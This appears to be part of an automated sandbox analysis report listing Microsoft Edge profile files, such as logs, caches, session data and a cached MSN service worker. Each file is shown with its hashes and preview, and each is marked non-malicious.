Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376531954115174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376531954115174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.828719274970062
Encrypted:	false
SSDEEP:	24:F2xc5Nmxcncmo0CRORpllg2D0fRHrVdCRORpllg24n6ghiKCRORpllg2DXRHrtC+:F2emKtrdD0fBRXrdw6ghFrdDXBDrdwBA
MD5:	3175A62176F7E1C0A173346E08219095
SHA1:	5A191D65052AE025C31580D3BBA81EED302712FD
SHA-256:	0C3031905A62706E47D98723946C14D882EF32E197F33C1F6EFC2C411D544073
SHA-512:	6B1483001407BEA1957AF5C208CD1864E148F214FD78B5C98A665C9D9D5512249B1D1EEB75EFD0804E8CFC4CD5D35C0BD82C0C7A0D1150C463C196CE54ED8DEC
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..#.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.159575824122469
Encrypted:	false
SSDEEP:	6:HUWSkI+B1923oH+TcwtE/a252KLlVUWb+GqM+q2P923oH+TcwtE/a2ZIFUv:FMYeb8xLxqM+v4Yeb8J2FUv
MD5:	506929C78C2CA0B53058598FFCC82E72
SHA1:	966D17F0E424D33707F72283FC83514088A48732
SHA-256:	F001853C880C4C9D92A995A262284C66BD435483C9CE0DFC56C1498E02485D1B
SHA-512:	7786FE17FAAF57DA912EAECC29EEFF5D8DAC1B7ED6E0B9D4E810131BF2A328E43E3C5C5025CABEAF730028BF85FE410DF4FC0D052C7AC713CF43A084B269F423
Malicious:	false
Preview:	2024/11/19-18:19:23.698 14fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/19-18:19:23.711 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114183
Entropy (8bit):	5.5777831286867485
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKZpcktoyb:d9LyxPXfOxr1lMe1nL/CL/TXEmaCs
MD5:	218777980BC7DD5C6E0B09094FA9F3B9
SHA1:	99ECD8FD70D5BDA28A6B5EB0B1C47C4427237646
SHA-256:	D4898C59FCDFEF8D47DEE965D05CCEDA1272366FBEA4C3A59455D1F028177700
SHA-512:	88F39B1F0DC57237F847B83F1072FC79308EFBB2E3183A3EB12A1248977E92EBB828E5CDBB9897A834775523B35D8AB72722DF262FA8BE014864811EE5524F83
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188673
Entropy (8bit):	6.386141187358805
Encrypted:	false
SSDEEP:	3072:jQnIeSAonUXYfiw1KhRnJL/VFMqpkoLzuDhovXGE:vUUiwmRJL/ThZLaYn
MD5:	3B9BBDB75727C8CC33B2FE18CBEDD5AC
SHA1:	31FBA887DC0E0DDE1F24D616B10A36049195DB1B
SHA-256:	670B08D534D31C677E91E3A19BA39A3C64BE2C1C2C8AF7D433974AFD172841E3
SHA-512:	D24AAC4610E1150DD36B03632DE164714C116352A591B36F82705BCF623A20C17FE4DECD30C8336B4945ED4E36DB2966686BAA9226032D1E70111CE3F0743AE2
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc.&.....exports...Rc........module....Rc..U.....define....Rb.q<.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.&...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:zxXl/l5V/lxEYx9tpg+:d8qd
MD5:	E3B3DFD04A0024C6825E7634D4FC8BCE
SHA1:	82F45EA5B5F3B27DD8165EF068C172C260215A65
SHA-256:	727E468D9847F6947C383B35D51513566E183200F870DBDEFFB1C4B7899C69D1
SHA-512:	F6879D6B57FA75ABEAEC10861F23CEEEA83E0692C6F549937A561CBCDE1862EC75DB0394F5853CC15A234538880F802DFB4248F2B69AC42C00894C3A30F2C098
Malicious:	false
Preview:	@.......oy retne.........................X....,.................;.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:zxXl/l5V/lxEYx9tpg+:d8qd
MD5:	E3B3DFD04A0024C6825E7634D4FC8BCE
SHA1:	82F45EA5B5F3B27DD8165EF068C172C260215A65
SHA-256:	727E468D9847F6947C383B35D51513566E183200F870DBDEFFB1C4B7899C69D1
SHA-512:	F6879D6B57FA75ABEAEC10861F23CEEEA83E0692C6F549937A561CBCDE1862EC75DB0394F5853CC15A234538880F802DFB4248F2B69AC42C00894C3A30F2C098
Malicious:	false
Preview:	@.......oy retne.........................X....,.................;.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3d504.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:zxXl/l5V/lxEYx9tpg+:d8qd
MD5:	E3B3DFD04A0024C6825E7634D4FC8BCE
SHA1:	82F45EA5B5F3B27DD8165EF068C172C260215A65
SHA-256:	727E468D9847F6947C383B35D51513566E183200F870DBDEFFB1C4B7899C69D1
SHA-512:	F6879D6B57FA75ABEAEC10861F23CEEEA83E0692C6F549937A561CBCDE1862EC75DB0394F5853CC15A234538880F802DFB4248F2B69AC42C00894C3A30F2C098
Malicious:	false
Preview:	@.......oy retne.........................X....,.................;.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5799
Entropy (8bit):	3.403883739712861
Encrypted:	false
SSDEEP:	96:jwQeEsx/SYBwdZAt14QK8mAVugJ9Xp+0X+o+ixs5SLl9iSr/1ST1YjAnj6:8Ks6Z613XTZ9Xp+0X1+ia5SLl9iSr/UO
MD5:	9A283F8FB386FC53EF9263A3961F8C92
SHA1:	6ADE233487ECB1D4FBBD639744D9BBBF9A20EEF2
SHA-256:	A1FC83E352ED9716EE0969446D5416BCBA1197CBD1686382512ED0BD820117F8
SHA-512:	5BB911F2532886E5C5FAD57B47D8A19EB1E0B079BF2012036D848126C2C72C1A4F11C39DC64FBBD7D4E76AA7E80A0E87577E410F0DEA885279CBC22DDB587BE7
Malicious:	false
Preview:	...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................\tkb................next-map-id.1.Cnamespace-38c85f24_174b_4289_85dd_897b832636cb-https://ntp.msn.com/.0...Db................map-0-shd_sweeper.{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.,.p.r.g.-.d.l.t.q.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.a.d.-.s.t.a.b.-.b.n.,.p.r.g.-.s.t.a.b.-.b.n.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.t.s.r.e.c.a.l.l.c.,.p.r.g.-.1.s.w.-.s.a.-.g.o.l.d.e.n.-.1.t.1.5.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.c.,.p.r.g.-.1.s.w.-.l.d.n.y.c.t.-.t.r.a.n.s.i.t.,.p.r.g.-.1.s.w.-.t.r.a.n.-.t.r.d.,.p.r.g.-.1.s.w.-.d.e.f.e.r.p.t.,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.148541704611649
Encrypted:	false
SSDEEP:	6:HUYJPt+q2P923oH+TcwtrQMxIFUt8YUYiZZmw+YUY8VkwO923oH+TcwtrQMFLJ:Zyv4YebCFUt8KiZ/+K85LYebtJ
MD5:	19A5063C92FBCB8F6BA457601FA713EE
SHA1:	A20CB6D98FBFBA151FC32BFCAEE9C94E47245682
SHA-256:	F1EC580E6AC95865E3872C0B572E22315BB3C87ACCDF2E3E403697DB4EF26ED5
SHA-512:	B122D460030BE6DDAA2513205F41C89BC6D8DAB4AE65E72CFDBB0141966B7A5E08C3F4B4C1A8A1CD506B51C776E889E49471DA6E0F02DF6B5BBE829F174EF979
Malicious:	false
Preview:	2024/11/19-18:19:14.946 6f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/19-18:19:14.947 6f8 Recovering log #3.2024/11/19-18:19:14.949 6f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.148541704611649
Encrypted:	false
SSDEEP:	6:HUYJPt+q2P923oH+TcwtrQMxIFUt8YUYiZZmw+YUY8VkwO923oH+TcwtrQMFLJ:Zyv4YebCFUt8KiZ/+K85LYebtJ
MD5:	19A5063C92FBCB8F6BA457601FA713EE
SHA1:	A20CB6D98FBFBA151FC32BFCAEE9C94E47245682
SHA-256:	F1EC580E6AC95865E3872C0B572E22315BB3C87ACCDF2E3E403697DB4EF26ED5
SHA-512:	B122D460030BE6DDAA2513205F41C89BC6D8DAB4AE65E72CFDBB0141966B7A5E08C3F4B4C1A8A1CD506B51C776E889E49471DA6E0F02DF6B5BBE829F174EF979
Malicious:	false
Preview:	2024/11/19-18:19:14.946 6f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/19-18:19:14.947 6f8 Recovering log #3.2024/11/19-18:19:14.949 6f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376531956618310

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.808579928757386
Encrypted:	false
SSDEEP:	24:3g1nqSfEPye9ApsAF4unxtEtLp3X2amEtG1ChqZ9fIZWSJQKkOAM4ll9:3wH8qzF9yLp2FEkChYN5bHOpEH
MD5:	0CC7F3F523AE5F495EA97342EEA6D412
SHA1:	1436078C8F8052E0DFAE5B682146CCAF24AA841F
SHA-256:	D8DC348F9FB58EBA8A7AAAA81CBF9B6D5C62797F29524EE5E58FD3FCAA020966
SHA-512:	FB800A0636A74936DE507B2EEB7336252C8BB08354B29B064677423622BC629ED451167C3C4C7C261E5767AE3590CC10887D9A13C9DAB7088FEC19453A8C4D15
Malicious:	false
Preview:	SNSS.......#P:............#P:......."#P:............#P:........#P:........$P:........$P:.....!..$P:................................#P:.$P:.1..,...$P:.$...38c85f24_174b_4289_85dd_897b832636cb...#P:........$P:.......-........#P:....#P:........................#P:.....................5..0...#P:.&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....#P:........#P:........................$P:............$P:.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........8.CL'...8.CL'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.070964232868525
Encrypted:	false
SSDEEP:	6:HUXqM+q2P923oH+Tcwt7Uh2ghZIFUt8YUXXZmw+YUtEpMVkwO923oH+Tcwt7Uh2w:W+v4YebIhHh2FUt8p/+jvV5LYebIhHLJ
MD5:	05BB517A0402336205BEF7E70484E154
SHA1:	07438C690B6F24A137DE4EA4D99FCE592B63AEE5
SHA-256:	C60DEA4779BF22A35EE594BD3A49BDF5B163809C808B11654948FD5266790653
SHA-512:	F329D7C6A792ACF3D34C9704C21E1EE5889A8160A083180639F368BD8A7DDC1176B1EF0CFFEFDF7487444D67CDE7564D913498DE21012F99A981AC7C09122F01
Malicious:	false
Preview:	2024/11/19-18:19:14.132 1eac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/19-18:19:14.132 1eac Recovering log #3.2024/11/19-18:19:14.134 1eac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.070964232868525
Encrypted:	false
SSDEEP:	6:HUXqM+q2P923oH+Tcwt7Uh2ghZIFUt8YUXXZmw+YUtEpMVkwO923oH+Tcwt7Uh2w:W+v4YebIhHh2FUt8p/+jvV5LYebIhHLJ
MD5:	05BB517A0402336205BEF7E70484E154
SHA1:	07438C690B6F24A137DE4EA4D99FCE592B63AEE5
SHA-256:	C60DEA4779BF22A35EE594BD3A49BDF5B163809C808B11654948FD5266790653
SHA-512:	F329D7C6A792ACF3D34C9704C21E1EE5889A8160A083180639F368BD8A7DDC1176B1EF0CFFEFDF7487444D67CDE7564D913498DE21012F99A981AC7C09122F01
Malicious:	false
Preview:	2024/11/19-18:19:14.132 1eac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/19-18:19:14.132 1eac Recovering log #3.2024/11/19-18:19:14.134 1eac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.257304336449196
Encrypted:	false
SSDEEP:	12:FgW0v4YebvqBQFUt8UgW2/+Ug25LYebvqBvJ:Fi4YebvZg8UoRLYebvk
MD5:	34B462E168417A01DC695226EB9D3089
SHA1:	08C4F0AA5CCD0252F8F4372DCFF24AD700D89EF1
SHA-256:	00328DDA2765E3A86CA3C4988E35F4D327FFD67F11A9CE066E5A5CE8A98D33DF
SHA-512:	B592F8DBB224D9BD98CF1F76CBDE2C30219CB9F82EB597EAAE2E95D610027BCB4EC5DA09F7A829C7F37D309740165108585BCA5C707918195A7BFE3AE44077B4
Malicious:	false
Preview:	2024/11/19-18:19:15.134 6f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/19-18:19:15.137 6f8 Recovering log #3.2024/11/19-18:19:15.145 6f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.257304336449196
Encrypted:	false
SSDEEP:	12:FgW0v4YebvqBQFUt8UgW2/+Ug25LYebvqBvJ:Fi4YebvZg8UoRLYebvk
MD5:	34B462E168417A01DC695226EB9D3089
SHA1:	08C4F0AA5CCD0252F8F4372DCFF24AD700D89EF1
SHA-256:	00328DDA2765E3A86CA3C4988E35F4D327FFD67F11A9CE066E5A5CE8A98D33DF
SHA-512:	B592F8DBB224D9BD98CF1F76CBDE2C30219CB9F82EB597EAAE2E95D610027BCB4EC5DA09F7A829C7F37D309740165108585BCA5C707918195A7BFE3AE44077B4
Malicious:	false
Preview:	2024/11/19-18:19:15.134 6f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/19-18:19:15.137 6f8 Recovering log #3.2024/11/19-18:19:15.145 6f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3b585b0f-3efe-4bc7-a42d-ea12546a0670.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
